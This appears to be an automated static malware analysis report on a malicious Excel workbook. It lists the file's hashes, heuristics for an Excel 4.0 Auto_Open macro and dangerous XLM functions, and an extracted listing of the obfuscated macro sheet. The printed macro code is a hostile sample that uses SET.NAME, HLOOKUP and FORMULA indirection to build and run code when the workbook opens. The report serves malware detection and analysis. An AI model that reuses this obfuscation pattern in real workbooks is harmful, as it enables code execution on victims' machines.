Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 673d1f2000965285…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:32:16 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: bd0514a0689167a1ce45c0c105a85780 SHA-1: f31b42f4f8ca443c29321d9bf165dc8338ecf988 SHA-256: 673d1f2000965285733048752c93a62f5c27fe0e1b3d2fe362a1228014466bed
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6613 bytes
SHA-256: 0227798387cb5c3a1ee9039ca30baba9aa481a666f08621b8d524bcf059f8dfe
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yyGmBqJRu
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E154 
' 0018     21 LABEL : Cell Value, String Constant - CqZfyo len=0 
' 0018     22 LABEL : Cell Value, String Constant - dNYIONA len=0 
' 0018     26 LABEL : Cell Value, String Constant - EnHEGPAujKO len=0 
' 0018     27 LABEL : Cell Value, String Constant - eQFKMmzDiRsC len=0 
' 0018     22 LABEL : Cell Value, String Constant - ertgyzd len=0 
' 0018     22 LABEL : Cell Value, String Constant - gKxluEx len=0 
' 0018     22 LABEL : Cell Value, String Constant - gvRoWRG len=0 
' 0018     23 LABEL : Cell Value, String Constant - HIAgNfDm len=0 
' 0018     23 LABEL : Cell Value, String Constant - HigRzyyK len=0 
' 0018     22 LABEL : Cell Value, String Constant - JtezRwv len=0 
' 0018     25 LABEL : Cell Value, String Constant - lPZmEdwHXO len=0 
' 0018     25 LABEL : Cell Value, String Constant - LzhAfKeEHy len=0 
' 0018     21 LABEL : Cell Value, String Constant - NcVqQA len=0 
' 0018     26 LABEL : Cell Value, String Constant - NTdmYtkfRPu len=0 
' 0018     21 LABEL : Cell Value, String Constant - oQKogX len=0 
' 0018     21 LABEL : Cell Value, String Constant - rKYvka len=0 
' 0018     22 LABEL : Cell Value, String Constant - THZOdhD len=0 
' 0018     22 LABEL : Cell Value, String Constant - ucZYpJQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - uGwElcuYnfn len=0 
' 0018     21 LABEL : Cell Value, String Constant - YaoPzt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yyGmBqJRu,E52,"SET.NAME("eQFKMmzDiRsC",VALUE("0"))",""
'  yyGmBqJRu,E57,"SET.NAME("uGwElcuYnfn",eQFKMmzDiRsC)",""
'  yyGmBqJRu,E60,"SET.NAME("ertgyzd",eQFKMmzDiRsC)",""
'  yyGmBqJRu,E63,"SET.NAME("THZOdhD",COUNTA(oQKogX))",""
'  yyGmBqJRu,E68,"SET.NAME("ucZYpJQ",COUNTA(gvRoWRG))",""
'  yyGmBqJRu,E70,[],""
'  yyGmBqJRu,E75,"SET.NAME("NcVqQA","")",""
'  yyGmBqJRu,E79,"uGwElcuYnfn",""
'  yyGmBqJRu,E81,"SET.NAME("CqZfyo",HLOOKUP("*",oQKogX,uGwElcuYnfn,FALSE))",""
'  yyGmBqJRu,E84,"HigRzyyK",""
'  yyGmBqJRu,E89,"SET.NAME("lPZmEdwHXO",eQFKMmzDiRsC)",""
'  yyGmBqJRu,E93,[],""
'  yyGmBqJRu,E97,"lPZmEdwHXO",""
'  yyGmBqJRu,E101,"HIAgNfDm",""
'  yyGmBqJRu,E103,"YaoPzt",""
'  yyGmBqJRu,E108,"JtezRwv",""
'  yyGmBqJRu,E112,"SET.NAME("gKxluEx",VALUE(HLOOKUP("*",gvRoWRG,JtezRwv,FALSE)))",""
'  yyGmBqJRu,E117,"dNYIONA",""
'  yyGmBqJRu,E122,"NcVqQA",""
'  yyGmBqJRu,E127,"ertgyzd",""
'  yyGmBqJRu,E130,NEXT(),""
'  yyGmBqJRu,E135,"EnHEGPAujKO",""
'  yyGmBqJRu,E140,"SET.NAME("f",INT(T(FORMULA(T(NcVqQA)&"",""&T(EnHEGPAujKO)))))",""
'  yyGmBqJRu,E142,"rKYvka",""
'  yyGmBqJRu,E147,NEXT(),""
'  yyGmBqJRu,E150,RETURN(),""
'  yyGmBqJRu,E178,"SET.NAME("LzhAfKeEHy",E52)",""
'  yyGmBqJRu,E181,"oQKogX",""
'  yyGmBqJRu,E184,"SET.NAME("gvRoWRG",R61C13)",""
'  yyGmBqJRu,E189,"SET.NAME("rKYvka",197)",""
'  yyGmBqJRu,E193,"SET.NAME("NTdmYtkfRPu",5)",""
'  yyGmBqJRu,E196,LzhAfKeEHy(),""
'  yyGmBqJRu,E197,HALT(),""